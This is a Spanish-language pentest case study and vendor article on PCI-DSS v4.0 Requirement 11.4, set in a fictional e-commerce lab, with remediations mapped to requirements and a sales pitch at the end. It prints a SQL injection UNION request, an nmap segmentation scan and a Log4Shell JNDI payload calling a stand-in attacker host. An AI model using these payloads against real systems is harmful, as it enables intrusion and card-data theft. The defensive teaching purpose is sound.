Pentest PCI-DSS v4.0: Requisito 11.4, ASV Scan y la evidencia que exige el QSA

Categoría: Cumplimiento PCI-DSS v4.0 | Pentest | E-commerce Nivel: Intermedio Entorno: Laboratorio controlado — escenario totalmente anonimizado, sin datos reales de clientes

---

Introducción

El PCI-DSS (Payment Card Industry Data Security Standard) es, en la práctica, el pasaporte para cualquier empresa que procese tarjetas de crédito y débito en Brasil — y en el mundo. Los bancos adquirentes, subadquirentes y orquestadores de pago exigen evidencia de cumplimiento, y quien no la presenta corre el riesgo de perder el derecho a procesar pagos.

La versión v4.0 del estándar entró en vigor el 31 de marzo de 2024 (cuando se retiró la v3.2.1), y los requisitos nuevos — los llamados future-dated — se volvieron obligatorios el 31 de marzo de 2025. Quien todavía opera con el estándar antiguo lleva más de un año fuera de plazo.

Dentro de los 12 requisitos del PCI-DSS, uno es directamente responsabilidad de quienes hacen pruebas de seguridad: el Requisito 11, que exige pruebas periódicas de seguridad de sistemas y redes. Y dentro de él, el 11.4 — pruebas de intrusión (pentest) — es el punto que más dudas genera en los e-commerces brasileños:

• ¿Basta con el ASV scan trimestral (Req. 11.3.2)?
• ¿Qué exactamente debe cubrir el pentest del Requisito 11.4 PCI?
• ¿Qué acepta el QSA (Qualified Security Assessor) como evidencia?

Este artículo documenta un escenario de laboratorio que responde a esas tres preguntas: un e-commerce ficticio que pasó el ASV durante cuatro trimestres seguidos y, aun así, reprobó la auditoría — porque nadie había probado la aplicación como lo hace un atacante.

---

El Escenario

Imagínese un e-commerce de electrónicos de tamaño mediano — lo llamaremos "VendaJá" (nombre ficticio). La tienda procesa tarjetas en su propio checkout (sin redirigir a un gateway de terceros), lo que coloca al checkout, a la API de pedidos y a la base de datos dentro del CDE — el Cardholder Data Environment, el entorno que guarda datos de tarjeta.

Según la documentación interna:

"Nuestro entorno de datos de tarjeta está aislado y monitoreado. Realizamos escaneo ASV trimestral y mantenemos conformidad PCI desde 2022."

El escaneo ASV, de hecho, volvía limpio trimestre tras trimestre. Pero el QSA, en la auditoría de revalidación, pidió algo que el escaneo no entrega: el informe de pentest anual del CDE (Req. 11.4.3/11.4.2) y la prueba de los controles de segregación (Req. 11.4.5). La empresa nunca había hecho un pentest — "el scan ya cubre eso", decía el director de TI.

Stack tecnológico observado durante el recon:

• Tienda y panel administrativo: aplicación web en PHP sobre nginx
• API de pedidos: servicio REST (Node.js) consumido por el checkout
• Procesamiento de pagos: servicio Java (Spring Boot) activado por el checkout — donde corre Apache Log4j 2
• Base de datos: PostgreSQL (pedidos, clientes y datos de tarjeta)
• WAF: presente solo en el dominio principal de la tienda
• Monitoreo: agentes de log básicos, IDS/IPS no encontrado

La primera señal de alerta: la política interna de seguridad de datos de tarjeta existía en PDF — pero el acceso al panel administrativo, a la API y a la base de datos no seguía ningún control técnico correspondiente. Era conformidad de papel.

---

Qué exige realmente el PCI-DSS v4.0

Antes de mostrar los hallazgos, el mapa de los requisitos relevantes (alineado al mapeo de conformidad de la oferta Intrus Conformidade):

El punto central para los e-commerces: el escaneo ASV y el pentest son obligaciones diferentes, con alcances diferentes. El ASV es un escaneo automatizado y externo, enfocado en infraestructura — puertos, servicios y CVEs conocidas. El pentest del Req. 11.4 es una prueba manual y metodológica, que cubre lógica de aplicación, autenticación, autorización, bypass de WAF y segregación de red. El QSA necesita los dos.

---

Fase de Reconocimiento

El trabajo comenzó mapeando la superficie externa de VendaJá. El alcance declarado: el CDE (checkout, API de pedidos, panel administrativo y red de la base de datos) y los controles de segregación.

www.vendaja.example        → aplicación de la tienda (dominio público)
checkout.vendaja.example   → checkout / procesamiento de tarjeta
api.vendaja.example        → API de pedidos
admin.vendaja.example      → panel administrativo (fuera de Google, sin robots)

Dos observaciones del recon ya señalaban caminos:

1. El WAF solo protege www. Las solicitudes a checkout, api y admin iban directo a las IPs de origen — los registros DNS históricos revelaban la IP real del servidor detrás del WAF.
2. El panel administrativo responde en internet con su propia página de inicio de sesión — sin restricción de red visible.

La prueba de segregación, a su vez, partiría de la red administrativa (fuera del CDE, según el diagrama interno): si desde allí fuera posible alcanzar servicios del CDE, el control de segmentación había fallado.

---

Hallazgos

Falla 1 — Inyección SQL en la búsqueda de pedidos: dump de la base del CDE

El panel administrativo tenía una búsqueda de pedidos por número. El parámetro se interpolaba directamente en la consulta:

-- Pseudocódigo vulnerable — interpolación directa del parámetro
SELECT * FROM pedidos WHERE numero_pedido = '$busca'

Un payload simple confirmó la inyección y reveló columnas de la base de datos:

GET /admin/pedidos?busca=1' UNION SELECT column_name,1,1,1 FROM information_schema.columns WHERE table_name='pedidos'-- HTTP/1.1
Host: admin.vendaja.example
Cookie: session=...

Respuesta: HTTP 200 con los nombres de las columnas — incluidos pan, validade, nome_titular y cvv. El peor hallazgo: la base de datos almacenaba el número completo de la tarjeta en claro, y también el CVV — algo que el PCI-DSS prohíbe expresamente (Req. 3.3.1: el CVV — sensitive authentication data — no puede almacenarse tras la autorización; Req. 3.5.1: el PAN debe permanecer ilegible donde esté almacenado).

Con un segundo payload (UNION sobre la tabla de pedidos), la prueba demostró la lectura de registros reales en el laboratorio:

numero_pedido | pan            | validade | nome_titular
VL-2026-04821 | 4539**********| 09/28    | Cliente Teste (dados fictícios)

La corrección es estándar y obligatoria: prepared statements / consultas parametrizadas en todas las consultas, sin excepción:

// Pseudocódigo corregido — prepared statement
$stmt = $pdo->prepare("SELECT * FROM pedidos WHERE numero_pedido = ?");
$stmt->execute([$busca]);

Y, en la base: tokenización o cifrado fuerte del PAN (aplicando el Req. 3.5.1), eliminación inmediata del CVV almacenado y enmascaramiento en cualquier pantalla (Req. 3.4.1).

Falla 2 — Panel administrativo con credencial por defecto: llave maestra del CDE

La página de inicio de sesión del panel aceptó las credenciales por defecto del sistema (admin / contraseña de fábrica, listada en el manual del producto). Sin MFA, sin bloqueo por intentos fallidos, sin restricción de IP. En MITRE ATT&CK, esto es T1078.001 (Default Accounts).

Con el acceso de administrador, la prueba demostró (en entorno de laboratorio, con datos ficticios):

• Listado de todos los pedidos, incluidos PAN y CVV en claro;
• Creación de un usuario administrativo adicional (persistencia);
• Desactivación del log de auditoría de la aplicación.

El PCI-DSS exige, en la Req. 2.2.2, la eliminación/desactivación de cuentas y contraseñas por defecto (vendor defaults) — y, en la Req. 8.4.2, MFA para todo acceso al CDE, incluido el personal administrativo. Las correcciones:

1. Cambio inmediato de todas las credenciales por defecto y revisión de cuentas huérfanas;
2. MFA obligatorio (TOTP/hardware) para todo acceso al panel;
3. Restricción de origen (VPN/red administrativa + allowlist de IP) para el panel;
4. Política de bloqueo tras intentos inválidos y auditoría de inicio de sesión.

Falla 3 — WAF ausente en las aplicaciones del CDE y bypass vía IP de origen

El WAF existía, pero solo delante de www. El escaneo ASV, trimestre tras trimestre, escaneaba exactamente esa IP — la del WAF — y volvía "limpio". Las aplicaciones del CDE (checkout, api, admin) respondían directo en la IP de origen, sin ninguna protección de capa 7.

En la práctica, la prueba confirmó:

• Las solicitudes directas a la IP de origen con Host: admin.vendaja.example funcionaban con normalidad (WAF bypass);
• Los payloads de ataque clásicos (XSS, SQLi, path traversal) llegaban intactos a la aplicación — no había ningún filtro;
• El panel y la API no tenían virtual patching ni rate limiting.

La Req. 6.4.1 (aplicaciones web públicas protegidas contra ataques conocidos — WAF o revisión manual/automatizada) ya era exigida en la v4.0 desde su publicación; la Req. 6.4.2 (solución automatizada de detección/prevención de ataques web — el WAF) era future-dated — y se volvió obligatoria el 31/03/2025. Corrección:

• WAF gestionado delante de todas las aplicaciones públicas, con reglas personalizadas (virtual patching) para las fallas conocidas;
• Bloqueo del acceso directo a la IP de origen (el WAF debe ser el único camino);
• Rate limiting y alertas de eventos de seguridad en el WAF.

Falla 4 — Segregación del CDE rota: base de datos accesible desde la red administrativa

La prueba de segregación (Req. 11.4.5) partió de una estación en la red administrativa — nominalmente fuera del CDE — e intentó alcanzar servicios del CDE:

nmap -sT -Pn -p 5432,443,22 10.20.0.0/24   # red del CDE, desde la red administrativa

Respuesta: puerto 5432 (PostgreSQL) abierto en el servidor de base de datos del CDE, alcanzable desde la red administrativa sin ningún control en el camino. La regla de firewall que debía separar los segmentos estaba desactivada desde hacía meses — nadie se dio cuenta, porque nadie probaba.

Eso significa que un malware o un atacante con acceso a cualquier máquina administrativa (phishing, pendrive, VPN robada) alcanzaría la base de datos de tarjetas sin atravesar ningún control. El PCI-DSS exige que el CDE esté aislado por controles de segregación efectivos — y la prueba de segregación es precisamente lo que demuestra que funcionan.

Correcciones:

• Reactivación y revisión de las reglas de firewall entre segmentos (deny por defecto, allow por excepción);
• Microsegmentación: base del CDE accesible solo por hosts de aplicación específicos y puerto específico;
• Monitoreo de intentos de conexión entre segmentos (alimenta la Req. 11.5);
• Re-prueba anual de la segregación (Req. 11.4.5), como manda el Req. 11.4 — semestral solo para service providers (11.4.6).

Falla 5 — Componente desactualizado con CVE conocida: RCE demostrado

El escaneo interno de versiones encontró, en el servicio Java de procesamiento, la biblioteca de logging Apache Log4j 2 con Log4Shell (CVE-2021-44228) — una vulnerabilidad de ejecución remota de código (RCE) conocida desde diciembre de 2021. El ASV externo no la detectó porque el escaneo estaba limitado a la IP del WAF (www) — las aplicaciones del CDE quedaban fuera del alcance declarado del scan; la prueba interna de aplicación la encontró en minutos.

En el laboratorio, la explotación demostró ejecución de comandos en el servidor de aplicación — que, recordando la Falla 4, estaba en el mismo segmento que la base del CDE:

# Pseudocódigo ilustrativo — payload JNDI del Log4Shell (CVE-2021-44228)
${jndi:ldap://atacante.example/exploit}

En MITRE ATT&CK: T1190 (Exploit Public-Facing Application). El PCI-DSS responde en la Req. 6.3.3: parches de seguridad — críticos en hasta 1 mes desde la liberación; demás según el targeted risk analysis. La corrección va más allá del parche:

• Actualización inmediata de la biblioteca vulnerable;
• Inventario de componentes (SBOM) de todas las aplicaciones del CDE, para que ninguna dependencia desactualizada pase desapercibida;
• Alimentación del proceso continuo de la Req. 6.3.1 (escaneo mensual + triaje + SLA).

---

La Cadena Completa

Ninguna de las cinco fallas, aislada, tumba un e-commerce. Juntas, forman el camino que recorrería un atacante real:

1. La Falla 3 abre la puerta — sin WAF delante de admin/api/checkout y con la IP de origen expuesta, el atacante ataca la aplicación directamente;
2. La Falla 2 entrega la llave — credencial por defecto en el panel = acceso administrativo al CDE (T1078.001);
3. La Falla 1 vacía la caja fuerte — con acceso al panel, la inyección SQL se convierte en dump de la base: PAN, fecha de vencimiento e incluso CVV en claro (violación directa de las Reqs. 3.3.1 y 3.5.1);
4. La Falla 4 quita las paredes — la segregación rota permite que cualquier acceso a la red administrativa alcance la base del CDE;
5. La Falla 5 automatiza el resto — Log4Shell (T1190) entrega RCE en el servidor de aplicación, en el mismo segmento que la base.

El resultado: ~180 mil números de tarjeta de clientes, incluido el CVV, accesibles sin barrera real — y una auditoría PCI que reprobaría en las Reqs. 3, 6, 8 y 11 simultáneamente.

Ese encadenamiento es la diferencia fundamental entre escaneo y pentest: la herramienta valida controles aislados; el pentester modela el camino del atacante de punta a punta.

---

¿Por Qué el ASV Scan Trimestral No Encontró Nada?

El ASV de VendaJá volvió limpio durante cuatro trimestres. No fue incompetencia del escáner — fue alcance:

• Escanea la infraestructura, no la aplicación. El ASV prueba puertos, servicios y CVEs conocidas en la IP declarada. No ejecuta lógica de negocio, no prueba autenticación, no intenta inyección SQL en parámetros de la aplicación;
• Escanea la IP equivocada. Con el WAF delante de www, el escaneo validaba el WAF — mientras las aplicaciones del CDE respondían directo en la IP de origen, fuera del escaneo;
• No prueba la segregación. El ASV es externo por definición; la prueba de la Req. 11.4.5 parte de dentro de la red (y de fuera, validando controles);
• No ve lógica ni autorización. Credencial por defecto en el panel, permisos excesivos, ausencia de MFA, CVV almacenado: nada de eso es "puerto abierto" ni "CVE conocida" — es lo que encuentra la prueba manual;
• La cadencia no es cobertura. Cuatro escaneos al año no sustituyen una prueba metodológica anual — son obligaciones complementarias del mismo Requisito 11.

La conclusión práctica: ASV limpio ≠ entorno seguro. El ASV responde a la pregunta "¿existen vulnerabilidades conocidas en mi superficie externa?". El pentest responde a "¿puede un atacante llegar a los datos de tarjeta — y por qué camino?". El QSA conoce la diferencia — y es exactamente lo que verifica la Req. 11.4.

---

Qué Acepta el QSA Como Evidencia

Para un e-commerce en proceso de conformidad PCI — la etapa de decisión de esta compra —, la pregunta práctica es: ¿qué presentar al QSA?

1. Alcance del CDE documentado. Diagrama de red, inventario de sistemas en el CDE y lista de flujos de datos de tarjeta. Sin esto, ninguna prueba se acepta como evidencia;
2. Informe de pentest completo (Req. 11.4.3/11.4.2). Metodología, alcance, período de prueba, clasificación de riesgo (CVSS), hallazgos con evidencia (capturas con fecha/hora), impacto y plan de remediación;
3. Prueba de segregación (Req. 11.4.5). Anual (semestral solo para service providers), con resultado y evidencia de los controles probados;
4. Re-prueba / validación de remediación. Hallazgos corregidos y revalidados — el QSA verifica que la remediación ocurrió, no solo que fue prometida;
5. Matriz de mapeo hallazgo → requisito. Cada finding vinculado al requisito PCI-DSS correspondiente (formato del add-on Intrus Conformidade);
6. Carta de compromiso firmada. Documenta alcance, fechas y autorización de la prueba — usada por el QSA para validar que la prueba fue real;
7. Informes ASV trimestrales (Req. 11.3.2) con evidencia de resolución de las fallas señaladas;
8. Alineación de ventana. El pentest anual debe cubrir el mismo período del assessment del QSA — una prueba hecha en diciembre no cubre una auditoría de marzo.

---

Análisis de Impacto

En un entorno real, las cinco fallas tendrían el siguiente impacto:

Además del PCI en sí: los datos de tarjeta son datos personales — la LGPD exige medidas técnicas adecuadas al riesgo (Art. 46), comunicación de incidentes a la ANPD y a los titulares (Art. 48) y prevé sanciones de hasta 2% de la facturación, limitadas a R$ 50 millones (Art. 52). Sin contar las multas de las marcas por no conformidad (en el rango de USD 5.000–100.000/mes) y el riesgo comercial de que el adquirente suspenda el procesamiento de tarjetas.

---

Causa Raíz

Las cinco fallas comparten una causa raíz: VendaJá trataba el PCI-DSS como un proyecto de llenado de formularios, no como un proceso continuo — y nadie probaba el camino del atacante.

En detalle:

1. Conformidad de papel — la política de seguridad de tarjetas existía en PDF; los controles técnicos correspondientes, no;
2. ASV limpio = "estamos seguros" — el escaneo obligatorio se convirtió en sustituto de la prueba, cuando es un complemento;
3. Sin programa de gestión de vulnerabilidades — la Req. 6.3.1 exigía un proceso continuo; había escaneos esporádicos y sin triaje;
4. Sin inventario — ningún SBOM, ninguna lista de componentes; la biblioteca con Log4Shell pasó años sin que nadie lo notara;
5. Segregación presumida, nunca probada — el firewall "separaba" el CDE en el diagrama; nadie validaba las reglas.

Ninguna de las fallas es exótica. Todas aparecen en e-commerces que contrataron el ASV, compraron el certificado de conformidad autodeclarado — y nunca hicieron un pentest en el CDE.

---

Remediación Recomendada

1. Programa continuo de gestión de vulnerabilidades (Req. 6.3.1)

Escaneo mensual (interno y externo) con triaje y SLA por severidad, alimentado por inventario de activos y SBOM. Vulnerabilidad crítica tratada en días, no en trimestres.

2. Parches con SLA (Req. 6.3.3)

Proceso de parcheo: críticos en hasta 30 días desde la liberación; demás según el targeted risk analysis (12.3.1). Inventario de componentes (SBOM) en todas las aplicaciones del CDE.

3. WAF en todas las aplicaciones públicas (Req. 6.4.1/6.4.2)

WAF gestionado delante de tienda, checkout, API y panel, con virtual patching y detección automática de ataques de aplicación. IP de origen inaccesible directamente.

4. Ciclo de pruebas completo (Reqs. 11.3/11.4)

• Trimestral: escaneo ASV externo (11.3.2);
• Anual: pentest externo (11.4.3) + pentest interno (11.4.2) del CDE, tras cambios significativos;
• Anual: prueba de segregación (11.4.5; semestral solo para service providers — 11.4.6);
• Re-prueba de todos los hallazgos corregidos, con evidencia.

5. MFA y credenciales (Reqs. 2.2.2/8.4.2)

Eliminación de cuentas y contraseñas por defecto, MFA en todo acceso al CDE, restricción de origen para paneles administrativos y política de bloqueo de intentos.

6. IDS/IPS con respuesta (Req. 11.5)

Detección de intrusiones en la red del CDE con alertas operacionales — alimentada por el monitoreo de conexiones entre segmentos.

7. Evidencia organizada para el QSA (Reqs. 12.3.1/12.3.2)

Alcance del CDE documentado, matriz de mapeo hallazgo → requisito, informes con re-prueba y carta de compromiso — además del targeted risk analysis documentado (12.3.1) y, cuando corresponda, para customized approach (12.3.2). Eso es lo que convierte la prueba en conformidad auditable.

---

Conclusión

VendaJá descubrió de la peor manera lo que la Req. 11.4 intenta evitar: la conformidad PCI no es un sello, es evidencia de un proceso continuo — y el QSA quiere prueba, no promesa.

El ASV trimestral pasó cuatro veces. El pentest anual encontró un camino directo a 180 mil números de tarjeta en una semana de trabajo: una credencial por defecto, una inyección SQL, un WAF que solo protegía el dominio equivocado, un firewall que separaba dos segmentos solo en el diagrama y una biblioteca de 2021 corriendo en producción.

La diferencia entre "conformidad de papel" y conformidad real no es más cara — es más honesta: probar el camino del atacante, todos los años, con evidencia, y arreglar lo que la prueba encuentre. Es exactamente lo que el Requisito 11.4 PCI exige de todo e-commerce que procesa tarjetas — y es lo que separa una auditoría tranquila de una reprobación con plazo para remediar.

---

Este artículo describe un escenario de laboratorio totalmente ficticio, construido con fines educativos. No se utilizó ningún dato real de clientes. La explotación de vulnerabilidades en sistemas sin autorización explícita es ilegal.

¿Quiere saber si su CDE pasaría un pentest en los términos del Requisito 11.4 PCI-DSS v4.0? El servicio de intrus.io combina pentest anual (web, API y red) con el add-on Intrus Conformidade — un informe formateado para la presentación al QSA, con matriz de mapeo por requisito. Estamos a su disposición.